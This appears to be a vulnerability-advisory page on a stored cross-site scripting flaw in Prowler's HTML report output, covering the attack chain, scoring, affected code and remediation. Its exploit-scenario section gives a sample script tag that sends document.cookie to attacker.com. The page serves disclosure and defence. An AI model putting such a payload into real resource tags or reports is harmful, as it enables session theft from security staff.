Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessObtain cloud identity with tag-write permissions
-
DeliverySet XSS payload as resource tag key or value
-
ExploitProwler scans tagged resource and generates HTML report
-
ExecutionUnescaped tag content rendered into report DOM
-
PersistOperator opens HTML report in browser
-
ImpactJavaScript executes in operator's browser session
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK
2 techniques across 2 tactics: Initial Access, Execution The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Two specific conditions must both be satisfied: (1) the attacker must hold cloud IAM permissions to write or update resource tags on at least one resource included in the Prowler scan scope - for example, AWS tag:TagResources, an Azure Tag Contributor role assignment, or a GCP equivalent - and (2) a Prowler operator must generate a report using the HTML output format and open that report file in a browser (UI:R). The vulnerability does not affect JSON, CSV, or other non-HTML Prowler output formats. It does not require the attacker to have direct network access to the Prowler host, the operator's machine, or any Prowler infrastructure - the cloud tag is the sole injection vector. Exploitation is confined to the browser context of whoever opens the HTML report; it does not grant direct cloud API access or code execution on the Prowler host itself. |
| Impact | The CVSS 3.1 vector (AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N) scores 5.4 (Medium), accurately reflecting the stored-XSS pattern: low-privilege cloud access to write tags, a required user interaction to view the HTML report, and a scope change when the payload executes in the operator's browser. EPSS data is absent from the provided intelligence, and no KEV listing is present, indicating no confirmed widespread exploitation at time of analysis. Real-world risk is highly context-dependent: organizations that generate Prowler HTML reports in CI/CD pipelines and distribute them to engineering teams via shared portals face meaningful exposure, and even a mid-sized municipal IT team in gdynia operating shared Prowler dashboards should treat this as a priority upgrade given the low exploitation complexity once tag-write permissions are held. The primary limiting factor is PR:L - the attacker must first hold or compromise a cloud identity with tag-write permissions, which is a non-trivial precondition in well-governed environments. However, in organizations with broad self-service tagging permissions for developers, this bar is substantially lower. CVSS and description signals are consistent and not conflicting. |
| Exploit ScenarioDerived | An attacker holding AWS IAM permissions sufficient to call tag:TagResources sets a resource tag value to a JavaScript payload such as <script>fetch('https://attacker.com/?c='+btoa(document.cookie))</script> on any resource within Prowler's scan scope. When a security engineer next runs Prowler with HTML output enabled and opens the resulting report in a browser, the payload executes in the engineer's browser context, potentially exfiltrating session tokens or performing browser-side actions under the engineer's identity. No standalone public exploit code has been identified, but the attack is straightforward to reconstruct from the public patch diff in PR #12221. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 12, 2026
Stored cross-site scripting in Prowler's HTML report formatter (all versions prior to 5.37.0) allows any cloud principal with resource tag-write permissions to inject arbitrary HTML or JavaScript that executes when a security operator opens the generated report. The flaw resides in prowler/lib/outputs/html/html.py, where resource tags assembled via unroll_dict and parse_html_string were interpolated into HTML table cells without HTML entity escaping. No public exploit identified at time of analysis; a vendor-released patch is available in version 5.37.0.
RemediationAI
Upgrade to Prowler 5.37.0 or later, available at https://github.com/prowler-cloud/prowler/releases/tag/5.37.0. The fix, delivered in PR #12221 (commit 6db407ed3c17d4c73a8f619fdb30580c8465027f), applies markupsafe's escape() function to all provider-originated fields before HTML interpolation and introduces a _safe_url() validator that rejects any non-http/https URI scheme in recommendation links, closing a secondary javascript: injection vector. If immediate upgrade is not feasible, the most effective workaround is to disable HTML output and use only non-HTML formats (e.g., --output-formats json), which eliminates the injection surface entirely with no functional trade-off for programmatic consumers. A secondary compensating control is to restrict tag-write IAM permissions to a minimal, trusted set of identities across scanned cloud accounts, reducing the pool of potential attackers; however, this does not eliminate the vulnerability and may conflict with developer self-service workflows. Do not attempt to sanitize generated HTML reports post-hoc, as that approach is error-prone.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 2 packages in pypi
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
Prowler is an open-source cloud security posture management (CSPM) platform that scans AWS, Azure, GCP, and other cloud environments and produces findings in multiple output formats. The affected code path is prowler/lib/outputs/html/html.py, specifically the transform() method, which constructs HTML report rows by embedding finding.resource_tags directly into table cells via Python f-string interpolation. Tags are first processed by unroll_dict() (flattening key-value pairs into a string) and parse_html_string() (rendering the result as HTML), but neither function nor the surrounding template applied HTML entity escaping. CWE-79 (Improper Neutralization of Input During Web Page Generation - Stored XSS) is the root cause: cloud resource tags, which any sufficiently privileged cloud identity can set to arbitrary strings via provider APIs, flow into the report HTML DOM without sanitization. The affected CPE is cpe:2.3:a:prowler-cloud:prowler:*:*:*:*:*:*:*:* for all versions prior to 5.37.0. The patch also revealed that remediation recommendation URLs lacked scheme validation, enabling javascript: URI injection via that field.
Know when Prowler gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N
Cloud tag-write IAM permission constitutes low privilege (PR:L); scope changes to the report viewer's browser context (S:C); no availability impact from stored XSS.
Primary rating from Vendor (GitHub_M).
CVSS VectorVendor: GitHub_M
Lifecycle Timeline
1DescriptionCVE.org
Prowler is a cloud security platform. Prior to 5.37.0, Prowler's HTML output formatter in prowler/lib/outputs/html/html.py inserted finding.resource_tags, assembled by unroll_dict and parse_html_string, into generated reports without HTML escaping, allowing a cloud principal who can modify a scanned resource tag to store HTML or JavaScript that executes when another user opens the report. This issue is fixed in version 5.37.0.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
Authenticated command injection in Prowler (Cloud/API) before 5.36.0 lets a low-privileged user with provider-management
Cross-tenant account takeover in Prowler (cloud security platform) before 5.30.3 lets an authenticated attacker who oper
Server-side request forgery in Prowler's Lighthouse AI provider configuration allows an authenticated high-privilege use
EUVD-2026-57222
GHSA-c2jg-2778-ggm4
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB